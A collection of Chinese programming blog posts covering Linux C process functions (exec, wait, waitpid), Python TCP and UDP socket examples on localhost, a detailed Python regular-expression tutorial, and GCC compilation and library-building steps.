这条命令在Linux shell下运行会让系统死机

具体意义百度百科上有

execl/execlp函数的使用

execl()函数:执行文件函数

表示后边的参数以可变参数的形式给出且都以一个空指针结束

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
printf("entering main process---\n");
execl("/bin/ls","ls","-l",NULL);
printf("exiting main process ----\n");
return 0;
}

利用execl将当前进程main替换掉,最后那条打印语句不会输出

execlp()函数:从PATH环境变量中查找文件并执行

第一个参数path不用输入完整路径,给出命令名即可,它会在环境变量PATH当中查找命令

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
printf("entering main process---\n");
execlp("ls","ls","-l",NULL);
printf("exiting main process ----\n");
return 0;
}

wait函数和waitpid函数的使用

wait()函数用于使父进程(也就是调用wait()的进程)阻塞,

直到一个子进程结束或者该进程接收到了一个指定的信号为止。

如果该父进程没有子进程或者它的子进程已经结束,则wait()函数就会立即返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main()
{
pid_t pid,pw;
pid=fork();
if(pid<0)
{
puts("fork eorro!\n");
exit(1);
}
else if(pid==0) //子进程
{
printf("I'm Child,pid=%d\n",getpid());
sleep(5);
exit(0);
}
else
{
pw=wait(NULL);
printf("I catch a Child,PID is %d\n",pw);
}
exit(0);
}

系统调用exit后,该进程并非马上消失,而是留下一个叫僵尸进程的数据结构

waitpid()的作用和wait()一样,但它并不一定要等待第一个终止的子进程(它可以指定需要等待终止的子进程)

它还有若干选项,如可提供一个非阻塞版本的 wait()功能,也能支持作业控制。

实际上,wait()函数只是 waitpid()函数的一个特例,在Linux 内部实现 wait()函数时直接调用的就是waitpid()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
pid_t pc,pr;
pc=fork();
if (pc<0)/* fork错误*/
{
printf("fork error\n");
exit(1);
}
else if(pc==0)/*在子进程中*/
{
sleep(5);
exit(0);
}
else
{
do {/* 使用了WNOHANG参数,waitpid不会在这里等待 */
pr=waitpid(pc,NULL,WNOHANG);
if (pr==0)
{
printf("No child exit\n");
sleep(1);
}
}while (pr==0);
if (pr==pc)
printf("successfully get child %d\n",pr);
else
printf("wait child error\n");
}
return 0;
}

网络编程

发表于 2019-02-04 | 分类于 python核心编程

客户端/服务器架构

服务端提供服务

客户端请求服务

套接字:通信端点

套接字是计算机网络数据结构,它体现了“通信端点”的概念。

在任何类型的通信开始之前,网络应用程序必须创建套接字。

可以将它们比作电话插孔,没有它将无法进行通信。

Python 中的网络编程

socket()模块函数

要创建套接字,必须使用 socket.socket()函数,它一般的语法如下。

1
socket(socket_family, socket_type, protocol=0)

socket_family 是 AF_UNIX 或 AF_INET

socket_type 是 SOCK_STREAM或 SOCK_DGRAM

protocol 通常省略,默认为 0

使用以下方式创建TCP/UDP套接字

1
2
3
4
5
from socket import *

TCPSock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

UDPSpck=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

套接字对象(内置)方法

常见的套接字对象方法和属性

名 称 描 述
服务器套接字方法
s.bind() 将地址(主机名、端口号对)绑定到套接字上
s.listen() 设置并启动 TCP 监听器
s.accept() 被动接受 TCP 客户端连接,一直等待直到连接到达(阻塞)
客户端套接字方法
s.connect() 主动发起 TCP 服务器连接
s.connect_ex() connect()的扩展版本,此时会以错误码的形式返回问题,而不是抛出一个异常
普通的套接字方法
s.recv() 接收 TCP 消息
s.recv_into()① 接收 TCP 消息到指定的缓冲区

(续表)

名 字 描 述
s.send() 发送 TCP 消息
s.sendall() 完整地发送 TCP 消息
s.recvfrom() 接收 UDP 消息
s.recvfrom_into()① 接收 UDP 消息到指定的缓冲区
s.sendto() 发送 UDP 消息
s.getpeername() 连接到套接字( TCP)的远程地址
s.getsockname() 当前套接字的地址
s.getsockopt() 返回给定套接字选项的值
s.setsockopt() 设置给定套接字选项的值
s.shutdown() 关闭连接
s.close() 关闭套接字
s.detach() 在未关闭文件描述符的情况下关闭套接字,返回文件描述符
s.ioctl() 控制套接字的模式(仅支持 Windows)
面向阻塞的套接字方法
s.setblocking() 设置套接字的阻塞或非阻塞模式
s.settimeout() 设置阻塞套接字操作的超时时间
s.gettimeout() 获取阻塞套接字操作的超时时间
面向文件的套接字方法
s.fileno() 套接字的文件描述符
s.makefile() 创建与套接字关联的文件对象
数据属性
s.family 套接字家族
s.type 套接字类型
s.proto 套接字协议

创建TCP服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env/python3
#-*- coding:utf8 -*-
import socket
import sys

Server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建服务端套接字

HOST = '127.0.0.1'
PORT = 9999
ADDRS=(HOST,PORT)
Server.bind(ADDRS) #绑定IP,Port
Server.listen(2) #最大连接数
print("正在监听:%s:%d"%(HOST,PORT))

while True: #服务器无限循环
Client, addr = Server.accept() #接受客户端连接
print("连接来自:%s" % str(addr)) #打印客户端连接IP
msg = 'Wlecome to here!\n'
#send()和recv()的数据格式都是bytes。
# (str和bytes的相互转化,用encode()和decode(),或者用bytes()和str())
while True:
Client.send(msg.encode("utf-8")) # 发送欢迎标语
msg = Client.recv(1024) #接受并输出信息
print("接收到客户端数据:%s" % msg.decode("utf-8"))
msg=input('输入>') # 输入信息
Client.close()
Server.close()

创建TCP客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env/python3
#-*- coding:utf8 -*-
import socket

Client= socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建客户端套接字

HOST = '127.0.0.1'
PORT = 9999
ADDRS=(HOST,PORT)
Client.connect(ADDRS) # 连接服务器
while True:
msg = Client.recv(1024)
print("接受到服务端数据:%s" % msg.decode("utf-8"))
msg = input('输入>')
Client.send(msg.encode("utf-8"))
Client.close()

运行结果

创建UDP服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
#-*- coding:utf8 -*-
import socket

HOST='127.0.0.1'
PORT=9999
ADDR=(HOST,PORT)
BUFSIZE=1024

Server=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
Server.bind(ADDR)
print("正在监听 %s:%d" % (HOST,PORT) )
while True:
msg,ADDR=Server.recvfrom(BUFSIZE)
print("接收到来自客户端的数据:%s" % msg.decode("utf-8"))
msg=input('输入>')
Server.sendto(msg.encode("utf-8"),ADDR)
Server.close()

创建UDP客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
#-*- coding:utf8 -*-

import socket

HOST='127.0.0.1'
PORT=9999
ADDR=(HOST,PORT)
BUFSIZE=1024

Client=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
msg = input('输入>')
Client.sendto(msg.encode("utf-8"),ADDR)
msg,ADDR=Client.recvfrom(BUFSIZE)
print("接收到服务端的数据:%s" % msg.decode("utf-8"))
Client.close()

运行结果

正则表达式

发表于 2019-02-04 | 分类于 python核心编程

简介

正则表达式(简称为 regex)是一些由字符和特殊符号组成的字符串,

它们描述了模式的重复或者表述多个字符

于是正则表达式能按照某种模式匹配一系列有相似特征的字符串

便捷的操作文本或者数据 。

搜索和匹配的比较
在 Python 术语中,主要有两种方法完成模式匹配:“搜索”( searching),即在字符串任意部 分中搜索匹配的模式;而“匹配”( matching)是指判断一个字符串能否从起始处全部或者 部分地匹配某个模式。搜索通过 search()函数或方法来实现,而匹配通过调用 match()函数 或方法实现。总之,当涉及模式时,全部使用术语“匹配”;我们按照 Python 如何完成模 式匹配的方式来区分“搜索”和“匹配”。

简单的正则匹配

正则表达式模式 匹配的字符串
foo foo
Python Python
abc123 abc123

特殊符号和字符

常见的特殊符号和字符,即所谓的元字符,正是它给予正则表达式强大的功能和灵活性。

本节将介绍最常见的特殊符号和字符,即所谓的元字符,正是它给予正则表达式强大的功能和灵活性。

常见正则表达式符号和特殊字符

表 示 法 描 述 正则表达式示例
符号
literal 匹配文本字符串的字面值 literal foo
re1\ re2 匹配正则表达式 re1 或者 re2 foo\ bar
. 匹配任何字符(除了\n 之外) b.b
^ 匹配字符串起始部分 ^Dear
$ 匹配字符串终止部分 /bin/*sh$
* 匹配 0 次或者多次前面出现的正则表达式 [A-Za-z0-9]*
+ 匹配 1 次或者多次前面出现的正则表达式 [a-z]+.com
? 匹配 0 次或者 1 次前面出现的正则表达式 goo?
{N} 匹配 N 次前面出现的正则表达式 [0-9]{3}
{M,N} 匹配 M~N 次前面出现的正则表达式 [0-9]{5,9}
[…] 匹配来自字符集的任意单一字符 [aeiou]
[..x-y..] 匹配 x~y 范围中的任意单一字符 [0-9], [A-Za-z]
[^…] 不匹配此字符集中出现的任何一个字符,包括某一范围的字符(如果在此字符集中出现) [^aeiou], [^A-Za-z0-9]
(*\ +\ ?\ {})? 用于匹配上面频繁出现/重复出现符号的非贪婪版本(*、 +、 ?、 {}) .*?[a-z]
(…) 匹配封闭的正则表达式,然后另存为子组 ([0-9]{3})?,f(oo\ u)bar
特殊字符
\d 匹配任何十进制数字,与[0-9]一致( \D 与\d 相反,不匹配任何非数值型的数字) data\d+.txt
\w 匹配任何字母数字字符,与[A-Za-z0-9_]相同( \W 与之相反) [A-Za-z_]\w+
\s 匹配任何空格字符,与[\n\t\r\v\f]相同( \S 与之相反) of\sthe
\b 匹配任何单词边界( \B 与之相反) \bThe\b
\N 匹配已保存的子组 N(参见上面的(…)) price: \16
\c 逐字匹配任何特殊字符 c(即,仅按照字面意义匹配,不匹配特殊含义) ., \, *
\A(\Z) 匹配字符串的起始(结束)( 另见上面介绍的^和$) \ADear
扩展表示法
(?iLmsux) 在正则表达式中嵌入一个或者多个特殊“ 标记” 参数(或者通过函数/方法) ( ?x),(? im)
(?:…) 表示一个匹配不用保存的分组 (?:\w+.)*
(?P…) 像一个仅由 name 标识而不是数字 ID 标识的正则分组匹配 (?P)
(?P=name) 在同一字符串中匹配由(?P<name)分组的之前文本 (?P=data)
(?#…) 表示注释,所有内容都被忽略 (?#comment)
(?=…) 匹配条件是如果…出现在之后的位置,而不使用输入字符串;称作正向前视断言 (?=.com)
(?!…) 匹配条件是如果…不出现在之后的位置,而不使用输入字符串;称作负向前视断言 (?!.net)
(?<=…) 匹配条件是如果…出现在之前的位置,而不使用输入字符串;称作正向后视断言 (?<=800-)
(?<!…) 匹配条件是如果…不出现在之前的位置,而不使用输入字符串;称作负向后视断言 (?<!192.168.)
(?(id \ name)Y \ N ) 如果分组所提供的 id 或者 name(名称)存在,就返回正则表达式的条件匹配 Y,如 果不存在,就返回 N;\ N 是可选项 (?(1)Y \ N)

使用择一匹配符号匹配多个正则表达式模式

表示择一匹配的管道符号( |),也就是键盘上的竖线,表示一个“从多个模式中选择其一”的操作。

它用于分割不同的正则表达式。

正则表达式模式 匹配的字符串
at \ home at、 home
r2d2 \ c3po r2d2、 c3po
bat \ bet \ bit bat、 bet、 bit

匹配任意单个字符

点号或者句点( .) 符号匹配除了换行符\n 以外的任何字符

(Python 正则表达式有一个编译标记[S 或者 DOTALL],该标记能够推翻这个限制,使点号能够匹配换行符)。

无论字母、数字、 空格(并不包括“\n”换行符)、可打印字符、 不可打印字符,

还是一个符号,使用点号都能够匹配它们。

正则表达式模式 匹配的字符串
f.o 匹配在字母“f”和“o”之间的任意一个字符;例如 fao、 f9o、 f#o 等
.. 任意两个字符
.end 匹配在字符串 end 之前的任意一个字符

要显式匹配一个句点符号本身,必须使用反斜线转义句点符号的功能,例如“.”

从字符串起始或者结尾或者单词边界匹配

还有些符号和相关的特殊字符用于在字符串的起始和结尾部分指定用于搜索的模式。如

果要匹配字符串的开始位置,就必须使用脱字符(^)或者特殊字符\A

后者主要用于那些没有脱字符的键盘(例如,某些国际键盘)。

同样,美元符号($)或者\Z将用于匹配字符串的末尾位置。

正则表达式模式 匹配的字符串
^From 任何以 From 作为起始的字符串
/bin/tcsh$ 任何以/bin/tcsh 作为结尾的字符串
^Subject: hi$ 任何由单独的字符串 Subject: hi 构成的字符串

再次说明,如果想要逐字匹配这些字符中的任何一个(或者全部),就必须使用反斜线进行转义。

例如,如果你想要匹配任何以美元符号结尾的字符串,一个可行的正则表达式方案,就是使用模式.*\$$

特殊字符\b 和\B 可以用来匹配字符边界。

而两者的区别在于\b 将用于匹配一个单词的边界,这意味着如果一个模式必须位于单词的起始部分,

就不管该单词前面(单词位于字符串中间)是否有任何字符(单词位于行首)。

同样, \B 将匹配出现在一个单词中间的模式(即,不是单词边界)。

正则表达式模式 匹配的字符串
the 任何包含 the 的字符串
\bthe 任何以 the 开始的字符串
\bthe\b 仅仅匹配单词 the
\Bthe 任何包含但并不以 the 作为起始的字符串

创建字符集

尽管句点可以用于匹配任意符号,但某些时候,可能想要匹配某些特定字符。

正因如此,发明了方括号。该正则表达式能够匹配一对方括号中包含的任何字符。

正则表达式模式 匹配的字符串
b[aeiu]t bat、 bet、 bit、 but
[c] [r] [d] [p] 一个包含四个字符的字符串,第一个字符是“c”或“r”,然后是“2”或“3”,后面 是“d”或“p”,最后要么是“o”要么是“2”。例如, c2do、 r3p2、 r2d2、 c3po 等

关于

[cr][23][dp][o2]这个正则表达式有一点需要说明:如果仅允许“r2d2”或者“c3po”作为有效字符串,

就需要更严格限定的正则表达式。

因为方括号仅仅表示逻辑或的功能,所以使用方括号并不能实现这一限定要求。

唯一的方案就是使用择一匹配,例如,r2d2|c3po。

限定范围和否定

除了单字符以外,字符集还支持匹配指定的字符范围。方括号中两个符号中间用连字符
(-)连接,用于指定一个字符的范围;

例如, A-Z、 a-z 或者 0-9 分别用于表示大写字母、 小写字母和数值数字。

正则表达式模式 匹配的字符串
z.[0-9] 字母“z”后面跟着任何一个字符,然后跟着一个数字
[r-u] [env-y] [us] 字母“r”、“s”、“t”或者“u”后面跟着“e”、“n”、“v”、“w”、“x”或者“y”,然后跟着“u”或者“s”
[^aeiou] 一个非元音字符(练习:为什么我们说“非元音”而不是“辅音”?)
[^\t\n] 不匹配制表符或者\n
[“-a] 在一个 ASCII 系统中,所有字符都位于“”和“a”之间,即 34~97 之间

使用闭包操作符实现存在性和频数匹配

本节介绍最常用的正则表达式符号, 即特殊符号*、 +和?,

所有这些都可以用于匹配一个、 多个或者没有出现的字符串模式。

星号或者星号操作符(*)将匹配其左边的正则表达式出现零次或者多次的情况

(在计算机编程语言和编译原理中,该操作称为 Kleene 闭包)

加号(+)操作符将匹配一次或者多次出现的正则表达式(也叫做正闭包操作符)

问号(?)操作符将匹配零次或者一次出现的正则表达式。

还有大括号操作符( {}),里面或者是单个值或者是一对由逗号分隔的值。

这将最终精确地匹配前面的正则表达式

N 次(如果是{N})或者一定范围的次数;例如, {M, N}

将匹配 M~N 次出现。

这些符号能够由反斜线符号转义; \ *匹配星号,等等。
注意,在之前的表格中曾经多次使用问号(重载), 这意味着要么匹配 0 次,要么匹配 1次,

或者其他含义:

如果问号紧跟在任何使用闭合操作符的匹配后面, 它将直接要求正则表达式引擎匹配尽可能少的次数。

“尽可能少的次数” 是什么意思?

当模式匹配使用分组操作符时,正则表达式引擎将试图“吸收”匹配该模式的尽可能多的字符。

这通常被叫做贪婪匹配。

问号要求正则表达式引擎去“偷懒”,如果可能,就在当前的正则表达式中尽可能少地匹配字符,

留下尽可能多的字符给后面的模式(如果存在)。

非贪婪匹配是很有必要的。

正则表达式模式 匹配的字符串
[dn]ot? 字母“d”或者“n”,后面跟着一个“o”,然后是最多一个“t”,例如, do、 no、 dot、 not
0?[1-9] 任何数值数字, 它可能前置一个“0”,例如, 匹配一系列数(表示从 1~9 月的数值),不 管是一个还是两个数字
[0-9]{15,16} 匹配 15 或者 16 个数字(例如信用卡号码)
</?[^>]+> 匹配全部有效的(和无效的) HTML 标签
[KQRBNP] [a-h] [1-8]- [a-h] [1-8] 在“长代数”标记法中,表示国际象棋合法的棋盘移动(仅移动,不包括吃子和将军)。 即“K”、“Q”、“R”、“B”、“N”或“P”等字母后面加上“a1”~“h8”之间的棋盘坐标。 前面的坐标表示从哪里开始走棋,后面的坐标代表走到哪个位置(棋格)上

表示字符集的特殊字符

我们还提到有一些特殊字符能够表示字符集。

与使用“0-9”这个范围表示十进制数相比,可以简单地使用 \d 表示匹配任何十进制数字。

另一个特殊字符(\w) 能够用于表示全部字母数字的字符集,相当于[A-Za-z0-9_]的缩写形式,

\s 可以用来表示空格字符。

这些特殊字符的大写版本表示不匹配;

例如, \D 表示任何非十进制数(与[\^0-9]相同), 等等。

使用这些缩写,可以表示如下一些更复杂的示例。

正则表达式模式 匹配的字符串
\w+-\d+ 一个由字母数字组成的字符串和一串由一个连字符分隔的数字
[A-Za-z]\w* 第一个字符是字母;其余字符(如果存在)可以是字母或者数字(几乎等价于 Python 中的有 效标识符[参见练习])
\d{3}-\d{3}-\d{4} 美国电话号码的格式,前面是区号前缀,例如 800-555-1212
\w+@\w+.com 以 XXX@YYY.com格式表示的简单电子邮件地址

使用圆括号指定分组

现在,我们已经可以实现匹配某个字符串以及丢弃不匹配的字符串,

但有些时候,我们可能会对之前匹配成功的数据更感兴趣。

我们不仅想要知道整个字符串是否匹配我们的标准,
而且想要知道能否提取任何已经成功匹配的特定字符串或者子字符串。

答案是可以,要实现这个目标,只要用一对圆括号包裹任何正则表达式。

正则表达式模式 匹配的字符串
\d+(.\d*)? 表示简单浮点数的字符串;也就是说,任何十进制数字,后面可以接一个小数点和零个或 者多个十进制数字,例如“0.004”、“2”、“75.”等
(Mr?s?.)?[A-Z] [a-z]*[A-Za-z-]+ 名字和姓氏,以及对名字的限制(如果有,首字母必须大写,后续字母小写),全名前可以 有可选的“Mr.”、“Mrs.”、“Ms.”或者“M.”作为称谓,以及灵活可选的姓氏,可以有多 个单词、 横线以及大写字母

扩展表示法

我们还没介绍过的正则表达式的最后一个方面是扩展表示法, 它们是以问号开始(?…)。

我们不会为此花费太多时间,因为它们通常用于在判断匹配之前提供标记,

实现一个前视(或者后视)匹配,或者条件检查。

尽管圆括号使用这些符号, 但是只有(?P) 表述一个分组匹配。

所有其他的都没有创建一个分组。

然而,你仍然需要知道它们是什么,因为它们可能最适合用于你所需要完成的任务。

正则表达式模式 匹配的字符串
(?:\w+.)* 以句点作为结尾的字符串,例如“google.”、“twitter.”、“facebook.”,但是这些匹配不会保存下来 供后续的使用和数据检索
(?#comment) 此处并不做匹配,只是作为注释
(?=.com) 如果一个字符串后面跟着“.com”才做匹配操作,并不使用任何目标字符串
(?!.net) 如果一个字符串后面不是跟着“.net”才做匹配操作
(?<=800-) 如果字符串之前为“800-”才做匹配,假定为电话号码, 同样,并不使用任何输入字符串
(?<!192.168.) 如果一个字符串之前不是“192.168.”才做匹配操作,假定用于过滤掉一组 C 类 IP 地址
(?(1)y \ x) 如果一个匹配组 (1)存在, 就与 y 匹配; 否则, 就与 x 匹配​

正则表达式和python语言

python使用re模块支持正则表达式

主要函数:match()、search()、compile()

使用 compile()函数编译正则表达式

注意,尽管推荐预编译,但它并不是必需的。

如果需要编译,就使用编译过的方法;如果不需要编译,就使用函数。

(? F) 标记,其中 F 是一个或者多个 i(用于 re.I/IGNORECASE)、

m(用于 re.M/MULTILINE)、s(用于 re.S/DOTALL) 等。

如果想要同时使用多个,就把它们放在一起而不是使用按位或操作

例如,(?im) 可以用于同时表示 re.IGNORECASE 和 re.MULTILINE。

匹配对象以及 group()和 groups()方法

当处理正则表达式时,除了正则表达式对象之外,还有另一个对象类型:匹配对象。

这些是成功调用 match()或者 search()返回的对象。

匹配对象有两个主要的方法: group()和groups()。

group()要么返回整个匹配对象,要么根据要求返回特定子组。

groups()则仅返回一个包含唯一或者全部子组的元组。

如果没有子组的要求,那么当group()仍然返回整个匹配时, groups()返回一个空元组。

使用 match()方法匹配字符串

match()是将要介绍的第一个 re 模块函数和正则表达式对象( regex object)方法。

match()函数试图从字符串的起始部分对模式进行匹配。

如果匹配成功,就返回一个匹配对象;

如果匹配失败,就返回 None,匹配对象的 group()方法能够用于显示那个成功的匹配。

1
2
3
4
m = re.match('foo','foo')	#模式匹配字符串
if m is not None: #如果匹配成功,就输出匹配内容
a=m.group()
print(a)

使用 search()在一个字符串中查找模式(搜索与匹配的对比)

search() 搜索的模式出现在一个字符串中间部分的概率 。

search()会用它的字符串参数,在任意位置对给定正则表达式模式搜索第一次出现的匹配情况。

如果搜索到成功的匹配,就会返回一个匹配对象; 否则, 返回 None。

1
2
3
4
m = re.search('foo','seafood')	#使用search代替match,若是match会搜索失败
if m is not None:
a=m.group()
print(a)

匹配多个字符串

1
2
3
4
5
6
7
bt = 'bat|bet|bit' 		# 正则表达式模式: bat、 bet、 bit 

m = re.match(bt, 'bat') # 'bat' 是一个匹配

if m is not None:
a=m.group()
print(a)

匹配任何单个字符

1
2
3
4
5
anyend = '.end'
m = re.match(anyend, 'bend') # 点号匹配 'b'
if m is not None:
a=m.group()
print(a)

创建字符集([ ])

1
2
3
4
m = re.match('[cr][23][dp][o2]', 'c3po')# 匹配 'c3po'
if m is not None:
a=m.group()
print(a)

匹配子组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
m = re.match('(\w\w\w)-(\d\d\d)', 'abc-123')

m.group() # 完整匹配

'abc-123'

m.group(1) # 子组 1

'abc'

m.group(2) # 子组 2

'123'

m.groups() # 全部子组

('abc', '123')

匹配字符串的起始和结尾以及单词边界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
m = re.search('^The', 'The end.') # 匹配

if m is not None: m.group()

...

'The'

m = re.search('^The', 'end. The') # 不作为起始

if m is not None: m.group()

...

m = re.search(r'\bthe', 'bite the dog') # 在边界

if m is not None: m.group()

...

'the'

m = re.search(r'\bthe', 'bitethe dog') # 有边界

if m is not None: m.group()
...
m = re.search(r'\Bthe', 'bitethe dog') # 没有边界

if m is not None: m.group()

...

'the'

使用 findall()和 finditer()查找每一次出现的位置

findall()查询字符串中某个正则表达式模式全部的非重复出现情况。

这与 search()在执行字符串搜索时类似,但与 match()和 search()的不同之处在于, findall()总是返回一个列表

如果 findall()没有找到匹配的部分,就返回一个空列表,但如果匹配成功

列表将包含所有成功的匹配部分(从左向右按出现顺序排列)

1
2
3
4
5
6
7
8
9
10
11
re.findall('car', 'car')

['car']

re.findall('car', 'scary')

['car']

re.findall('car', 'carry the barcardi to the car')

['car', 'car', 'car']

使用 sub()和 subn()搜索与替换

有两个函数/方法用于实现搜索和替换功能: sub()和 subn()。

两者几乎一样,都是将某字符串中所有匹配正则表达式的部分进行某种形式的替换。

用来替换的部分通常是一个字符串,但它也可能是一个函数,该函数返回一个用来替换的字符串。

subn()和 sub()一样,但 subn()还返回一个表示替换的总数,

替换后的字符串和表示替换总数的数字一起作为一个拥有两个元素的元组返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
re.sub('X', 'Mr. Smith', 'attn: X\n\nDear X,\n')

'attn: Mr. Smith\012\012Dear Mr. Smith,\012'

re.subn('X', 'Mr. Smith', 'attn: X\n\nDear X,\n')

('attn: Mr. Smith\012\012Dear Mr. Smith,\012', 2)

print re.sub('X', 'Mr. Smith', 'attn: X\n\nDear X,\n')

attn: Mr. Smith

Dear Mr. Smith,

re.sub('[ae]', 'X', 'abcdef')

'XbcdXf'

re.subn('[ae]', 'X', 'abcdef')

('XbcdXf', 2)

在限定模式上使用 split()分隔字符串

re 模块和正则表达式的对象方法 split()对于相对应字符串的工作方式是类似的,

但是与分割一个固定字符串相比,它们基于正则表达式的模式分隔字符串,

为字符串分隔功能添加一些额外的威力。

如果你不想为每次模式的出现都分割字符串,就可以通过为 max 参数设定一个值(非零)来指定最大分割数。

如果给定分隔符不是使用特殊符号来匹配多重模式的正则表达式,

那么 re.split()与str.split()的工作方式相同,如下所示(基于单引号分割)。

1
2
3
re.split(':', 'str1:str2:str3')

['str1', 'str2', 'str3']

有一个更复杂的示例,例如,一个用于 Web 站点(类似于Google 或者 Yahoo! Maps)的简单解析器,

该如何实现?用户需要输入城市和州名,或者城市名加上 ZIP 编码, 还是三者同时输入?

这就需要比仅仅是普通字符串分割更强大的处理方式,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re

DATA = ('Mountain View, CA 94040','Sunnyvale, CA', 'Los Altos, 94023', 'Cupertino 95014','Palo Alto CA',)

for datum in DATA:
print re.split(', |(?= (?:\d{5}|[A-Z]{2})) ', datum)

['Mountain View', 'CA', '94040']

['Sunnyvale', 'CA']

['Los Altos', '94023']

['Cupertino', '95014']

['Palo Alto', 'CA']

一些正则表达式示例

以 POSIX(UNIX 风格操作系统,如 Linux、 Mac OS X 等)的 who 命令的输出为例

该命令将列出所有登录当前系统中的用户信息。

创建一个名为 rewho.py 的程序,该程序读取 who 命令的输出,

然后假定将得到的输出信息存入一个名为 whoadat.txt 的文件之中

py2.x-py3.x通用

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python

import os
from distutils.log import warn as printf
import re

with os.popen('who','r') as f:
for eachLine in f:
printf(re.split(r'\s\s+|\t',eachLine.strip()))

匹配字符串

以子组的方式来访问匹配字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
patt = '^(Mon|Tue|Wed|Thu|Fri|Sat|Sun)'

m = re.match(patt, data)

m.group() # entire match

'Thu'

m.group(1) # subgroup 1

'Thu'

m.groups() # all subgroups

('Thu',)

以上两个正则表达式都是非常严格的,尤其是要求一个字符串集。

这可能在一个国际化的环境中并不能良好地工作,因为所在的环境中会使用当地的日期和缩写。

一个宽松的正则表达式将为: ^\w{3}。

该正则表达式仅仅需要一个以三个连续字母数字字符开头的字符串。

再一次,将正则表达式转换为正常的自然语言:

脱字符^表示“作为起始”, \w 表示任意单个字母数字字符, {3}表示将会有 3 个连续的正则表达式副本,

这里使用{3}来修饰正则表达式。

再一次,如果想要分组,就必须使用圆括号,例如^(\w{3})。

1
2
3
4
5
6
7
8
9
10
11
patt = '^(\w{3})'

m = re.match(patt, data)

if m is not None: m.group()

'Thu'

m.group(1)

'Thu'

注意, 正则表达式^(\w){3}是错误的。

当{3}在圆括号中时,先匹配三个连续的字母数字字符,然后表示为一个分组。

但是如果将{3}移到外部, 它就等效于三个连续的单个字母数字字符。

1
2
3
4
5
6
7
8
9
10
11
patt = '^(\w){3}'

m = re.match(patt, data)

if m is not None: m.group()

'Thu'

m.group(1)

'u'

当我们访问子组 1 时,出现字母“u”的原因是子组 1 持续被下一个字符替换。

换句话说,m.group(1)以字母“T”作为开始,然后变为“h”,最终被替换为“u”。

这些是单个字母数字字符的三个独立(并且重叠)分组,与一个包含三个连续字母数字字符的单独分组相反。

###

Linux-C基础编程

发表于 2019-02-04 | 分类于 Linux-C编程

GCC工作流程

工作流程

1.预处理 -E xxx.c —> xxx.i

​ 宏替换;头文件展开;注释去掉;

​ gcc -E hello.c -o hello.i

2.编译 -S xxx.i —> xxx.s #最浪费时间的操作

​ gcc -S hello.i -o hello.s

3.汇编 -C xxx.s —> xxx.o

​ gcc -c hello.s -o hello.o

4.链接 (无参数) xxx.o —> xxx(可执行文件)

​ gcc hello.o -o hello

GCC参数

1
2
3
4
5
6
7
8
9
10
11
12
13
-o 指定生成的文件的名字

-I 编译时,指定头文件的路径 gcc sum.c -I ./include/ -o sum

-c 将汇编文件生成二进制文件(即:.o文件) gcc sum.c -c -I ./include/ #生成sum.o文件

-g gdb调试时,需要加的参数 gcc hello.c -o app -g

-D 在编译时,指定一个[宏] gcc hello.c -I ./include/ -D DEBUG -o hello

-Wall 添加警告(warning)信息

-On 优化代码,n是优化级别:1,2,3

库的使用

简介

库是什么

二进制格式的源代码 (.c,.cpp)

以头文件的形式提供给用户使用

静态库和动态库的制作和使用

目录结构
  • test //根目录
    • include //头文件存放位置
      • calc.h //calc头文件
    • lib //存放库文件
      • libadd.a libsum.so //静态库和动态库
    • add.c
    • sum.c
    • main.c
    • Makefile
文件内容
calc.h
1
2
3
4
5
#ifndef __CALC_H__
#define __CALC_H__
int add(int a,int b);
int sum(int a,int b);
#endif
add.c
1
2
3
4
5
6
#include <calc.h>

int add(int a,int b)
{
return (a+b);
}
sum.c
1
2
3
4
5
6
#include <calc.h>

int sum(int a,int b)
{
return (a-b);
}
main.c
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <calc.h>
main()
{
int a=6,b=5;
int the_add=add(a,b);
int the_sum=sum(a,b);
printf("a+b=%d\na-b=%d\n",the_add,the_sum);
}
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
all: main
main: main.c libadd.a libsum.so
gcc main.c -o app -I ./include/ -L ./lib/ -ladd -lsum
lib: libadd.a libsum.so
libadd.a: add.o
ar rcs libadd.a add.o
cp libadd.a ./lib/
add.o: add.c
gcc -c add.c -I ./include/
libsum.so: sum.o
gcc -shared -o libsum.so sum.o
cp libsum.so ./lib/
sum.o: sum.c
gcc -fPIC -c sum.c -o sum.o -I ./include

clean:
rm -rf *.o *.so *.a app

动态库编译运行错误解决办法

在运行生成的二进制文件时可能会报以下错误:

用 ldd 命令查看发现,libsum.so地址找不到

原因
1
file app	#查看可知app是elf格式的可执行程序

对于 elf 格式的可执行程序,是由 ID-linux.so 来完成的

